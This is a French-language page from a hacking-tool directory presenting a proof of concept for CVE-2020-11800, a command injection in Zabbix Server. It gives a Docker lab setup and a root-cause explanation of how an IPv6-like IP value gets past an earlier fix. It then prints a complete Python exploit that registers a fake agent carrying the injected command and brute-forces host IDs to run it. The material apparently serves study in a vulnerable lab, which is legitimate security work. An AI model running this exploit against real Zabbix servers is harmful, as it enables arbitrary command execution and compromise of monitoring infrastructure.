Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-11800 — Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte. | Kitploit
Outils/GitHubGitHub/ycseo-git/cve-2020-11800
Analyse des VulnérabilitésExploitationSécurité WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC pour CVE-2020-11800, une injection de commande dans Zabbix Server via l'auto-enregistrement d'un agent malveillant, avec livraison de payload en Python et brute-force de l'ID de l'hôte.

Voir le dépôt
7il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Les sections requises par les directives de l'affectation sont marquées avec « (Required) ».

1. Environnement (Required)

Dockerfile (Required)

Cet environnement utilise un Dockerfile personnalisé basé sur l'image vulnérable du serveur Zabbix fournie par Vulhub.

FROM vulhub/zabbix:3.0.3-server

Le Dockerfile construit une image locale basée sur l'environnement vulnérable du serveur Zabbix 3.0.3. Aucun paquet ni configuration supplémentaire n'a été ajouté pendant le processus de construction.


docker-compose.yml (Required)

L'environnement vulnérable est configuré à l'aide de Docker Compose.

L'environnement se compose de quatre services :

  • Zabbix Server
  • Zabbix Agent
  • Interface Web Zabbix
  • Base de données MySQL

Le service server est construit localement à l'aide du Dockerfile :

server:
  build: .
  image: cve-2020-11800-server

Le conteneur MySQL importe automatiquement les fichiers d'initialisation SQL depuis le répertoire src/ à l'aide du montage de volume :

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Cela permet au schéma de la base de données et aux données Zabbix initiales d'être chargés automatiquement au démarrage du conteneur.


Architecture des services (Required)

L'environnement fonctionne selon la structure suivante :

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fournit l'interface de gestion web accessible via le navigateur.

L'administrateur configure l'auto-enregistrement et exécute les opérations liées à la surveillance via cette interface.

Zabbix Server

Le composant central responsable de :

  • la gestion des agents
  • l'exécution des scripts
  • la logique de surveillance
  • le traitement des événements

La vulnérabilité d'injection de commandes est déclenchée à l'intérieur de ce conteneur.

Zabbix Agent

Agit en tant qu'hôte surveillé et communique avec le serveur Zabbix.

L'exploit abuse du mécanisme d'auto-enregistrement pendant le processus d'enregistrement de l'agent.

MySQL

Stocke les données de configuration Zabbix, les informations sur les hôtes et les données liées à la surveillance.


Images et versions (Required)

ServiceImageVersion
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

L'environnement est basé sur l'environnement vulnérable Zabbix 3.0.3 fourni par Vulhub.

2. Cause racine (Required)

Description de la vulnérabilité (Required)

CVE-2020-11800 est une vulnérabilité d'injection de commandes dans la fonctionnalité Active Proxy Trapper du serveur Zabbix.

La vulnérabilité existe parce que le correctif de CVE-2017-2824 était incomplet. Un attaquant peut contourner le correctif d'origine à l'aide d'une charge utile de type IPv6 et exécuter des commandes arbitraires sur le serveur Zabbix.

La vulnérabilité est déclenchée pendant le processus d'auto-enregistrement lorsque le serveur traite des informations d'hôte contrôlées par l'utilisateur.


Analyse de la cause racine (Required)

La cause racine de la vulnérabilité est le traitement non sécurisé d'entrées contrôlées par l'utilisateur dans les commandes shell.

Pendant l'exécution des scripts, le serveur Zabbix utilise la valeur IP de l'hôte enregistré pour construire des commandes telles que :

ping <host_ip>

Dans des conditions normales :

ping 127.0.0.1

Cependant, si un attaquant enregistre un hôte en utilisant la charge utile suivante :

ffff:::;touch /tmp/success2

la commande finale exécutée par le shell devient :

ping ffff:::;touch /tmp/success2

Parce que le point-virgule (;) agit comme un séparateur de commandes shell, le shell interprète l'entrée comme deux commandes distinctes :

ping ffff:::
touch /tmp/success2

Par conséquent, l'exécution de commandes arbitraires devient possible.

Contournement du correctif via IPv6

Le correctif d'origine de CVE-2017-2824 tentait de restreindre les valeurs d'entrée malveillantes.

Cependant, la logique de validation ne gérait pas correctement les entrées de type IPv6.

La charge utile :

ffff:::;touch /tmp/success2

utilise un préfixe de type IPv6 (ffff:::) pour contourner la logique de validation existante tout en injectant des métacaractères shell.

Cela permet aux attaquants de contourner le correctif précédent et de continuer à exploiter la vulnérabilité d'injection de commandes.


Processus de déclenchement de la vulnérabilité (Required)

Le processus d'exploitation se déroule dans l'ordre suivant :

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

L'attaquant envoie d'abord une demande d'auto-enregistrement malveillante contenant un champ IP spécialement conçu.

Après l'enregistrement de l'hôte, le serveur Zabbix exécute un script de surveillance en utilisant la valeur IP de l'hôte stockée.

Pendant ce processus, la charge utile malveillante est interprétée par le shell, ce qui conduit à l'exécution de commandes arbitraires.


Flux d'attaque et impact (Required)

L'exploit permet aux attaquants d'exécuter des commandes arbitraires avec les privilèges du processus du serveur Zabbix.

Dans cet environnement, une exploitation réussie a créé le fichier suivant dans le conteneur du serveur :

/tmp/success2

Cela confirme que les commandes shell injectées ont été exécutées avec succès.

Dans un environnement réel, une exploitation réussie pourrait permettre aux attaquants de :

  • exécuter des commandes système arbitraires
  • télécharger et exécuter des logiciels malveillants
  • effectuer une reconnaissance interne
  • pivoter vers d'autres systèmes
  • compromettre l'infrastructure de surveillance

La vulnérabilité est particulièrement dangereuse car les serveurs de surveillance ont souvent une visibilité sur plusieurs systèmes internes et composants d'infrastructure.

3. PoC (Required)

Aperçu du PoC (Required)

La preuve de concept (PoC) a été écrite en Python et communique directement avec le serveur Zabbix sur le port TCP 10051.

Le PoC effectue les actions suivantes :

  1. Envoie une demande d'auto-enregistrement malveillante
  2. Découvre par force brute les valeurs hostid valides
  3. Déclenche l'exécution du script à l'aide de la charge utile injectée

Code du PoC

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Analyse de la charge utile (Required)

La charge utile utilisée dans ce PoC est :

ffff:::;touch /tmp/success2

Structure de la charge utile

Télécharger l’outil